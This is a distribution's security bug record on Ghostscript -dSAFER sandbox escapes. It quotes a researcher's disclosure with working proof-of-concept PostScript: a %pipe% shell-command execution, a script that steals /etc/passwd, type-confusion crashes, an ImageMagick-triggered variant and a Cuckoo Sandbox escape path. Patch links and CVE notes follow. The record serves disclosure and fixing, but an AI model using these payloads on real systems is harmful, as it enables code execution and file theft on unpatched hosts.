Bugzilla – Bug 1105464
VUL-0: ghostscript,ghostscript-library: various issues bypassing -dSAFER
Last modified: 2020-01-28 07:16:29 UTC
From: Tavis Ormandy <taviso@google.com> Date: Mon, 20 Aug 2018 17:56:43 -0700 subject: ***UNCHECKED*** [vs-plain] More Ghostscript Issues Tavis Ormandy has reported more -dSAFER bypass issues in ghostscript to distros. Hello, you might recall I posted a bunch of -dSAFER sandbox escapes in ghostscript a few years ago: http://seclists.org/oss-sec/2016/q4/29 I found a few type confusion bugs, but unfortunately, I missed one that was later found exploited in the wild <http://ghostbutt.com/>. I just found out that Pillow <https://python-pillow.org/> will also automatically invoke ghostscript. That piqued my interest, because the malware analysis framework "Cuckoo Sandbox <https://cuckoosandbox.org/>" will invoke Pillow on untrusted data uploaded from malicious guests. Therefore, any -dSAFER escape is a free Cuckoo Sandbox escape, giving you code execution on the host. If you have a -dSAFER escape, you would exploit it like this: 1. From your malware, find the resultserver <https://github.com/cuckoosandbox/cuckoo/blob/master/cuckoo/core/resultserver.py#L238> using GetTcpTable() or whatever. 2. Use the FILE command to upload a ghostscript file called "screenshot/whatever.jpg" 3. Cuckoo will automatically invoke Pillow on the host to thumbnail <https://github.com/cuckoosandbox/cuckoo/blob/master/cuckoo/processing/screenshots.py#L56> the screenshot. 4. Pillow will automatically invoke <https://github.com/python-pillow/Pillow/blob/master/src/PIL/EpsImagePlugin.py#L120> ghostscript if it looks like an EPS file. 5. Escape -dSAFER, and you have code execution on the host. I went back and had another look for more, here are a few more: 1. /invalidaccess checks stop working after a failed restore, so you can just execute shell commands if you handle the error. This is obviously a *critical* vulnerability, and exploitation is very trivial. Repro: $ gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null GS>legal GS>{ null restore } stopped { pop } if GS>legal GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops GS<1>showpage uid=1000(taviso) 2. setcolor claims <http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/zcolor.c;h=4c0f25827e320ceaa9b510c98f9b1926532a26d5;hb=HEAD#l263> no operand checking is necessary, because it's hidden behind a pseudo-operator of the same name. That's true, but you can still call it indirectly via setpattern, so type checking is necessary. Repro: $ gs -q -sDEVICE=ppmraw -dSAFER GS><< /Whatever 16#414141414141 >> setpattern Segmentation fault 3. The LockDistillerParams boolean isn't type checked, nice easy type confusion. Repro: $ gs -q -sDEVICE=ppmraw -dSAFER GS><< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams Segmentation fault 4. .tempfile permissions don't seem to work properly (did they ever?), you're not supposed to be able to open files outside of the patterns in the PermitFileAccess array. That doesn't seem to work for me e.g.: $ strace -fefile gs -sDEVICE=ppmraw -dSAFER ... GS>(/proc/self/cwd/hello) (w) .tempfile open("/proc/self/cwd/hello26E8LQ", O_RDWR|O_CREAT|O_EXCL, 0600) = 3 GS<2>dup GS<3>(hello) writestring GS<2>closefile This means you can create a file in any directory (I don't think you can prevent the random suffix). On top of that, I also have a trick to let you read and unlink any file. Soo... $ strace -fefile gs -sDEVICE=ppmraw -dSAFER ... GS>{ .bindnow } stopped {} if GS>(/etc/passwd) [] .tempfile GS<2>.quit unlink("/etc/passwd") = -1 EACCES (Permission denied) +++ exited with 0 +++ Reading is more complicated, but you can do it like this: $ cat test.ps /FileToSteal (/etc/passwd) def errordict /undefinedfilename { FileToSteal % return the undefined name } put errordict /undefined { (STOLEN: ) print counttomark { ==only } repeat (\n) print FileToSteal } put errordict /invalidfileaccess { pop } put errordict /typecheck { pop } put FileToSteal (w) .tempfile statusdict begin 1 1 .setpagesize end quit $ ./gs -q -sDEVICE=ppmraw -dSAFER test.ps GPL Ghostscript 9.23: **** Could not open temporary file /etc/passwdp05w63 STOLEN: root:x:0:0:root: STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd) STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd) STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd) STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd) STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd) If you want to see that output in the final output, just plug it into my previous PoC here: http://www.openwall.com/lists/oss-security/2016/09/29/3 After finding these I wrote an advanced next gen fuzzer (sort -R < operators.txt | gs), and found dozens more. It will take me a few days to go through all this fuzz output, I'll probably just file bugs upstream rather than report them here - I expect there to be at least 100 unique bugs. I'm kinda of the opinion that ghostscript is unsalvageable for untrusted input, and we should use poppler for pdf and give up on untrusted postscript. I really *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default. I think this is the number one "unexpected ghostscript" vector, imho this should happen asap. I'll start opening upstream bugs tomorrow, at which point code changes will likely be public quickly. Tavis.
Followup from Tavis: Oh, I noticed ImageMagick send some intizilation commands that breaks my PoC, but you can just remove their changes: $ cat test.jpeg %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops showpage $ convert test.jpeg foo.gif uid=1000(taviso) Thanks, Tavis.
was posted by tavis ormandy to oss-security list, is public.
From US CERT: We've updated the vulnerability note with patch information from Artifex: https://www.kb.cert.org/vuls/id/332928 The next release of Ghostscript is scheduled for late September, but the individual fixes are available: http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=b575e1ec http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=8e9ce501 http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=241d9111 http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c432131c http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=e01e77a3 http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0edd3d6c http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a054156d http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0d390118 http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c3476dde http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=b326a716 http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=78911a01 http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5516c614
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0d390118 - cve requested
requested 1 cve for a type confusion in .shfill: http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=e01e77a3 and http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=0b6cd1918e1ec4ffd087400a754a845180a4522b
cve request for http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c3476dde type confusion in LockDistillerparams
SLE15 could be updated to 9.24.
we did version updates for sle12 and sle15, fixing these issues.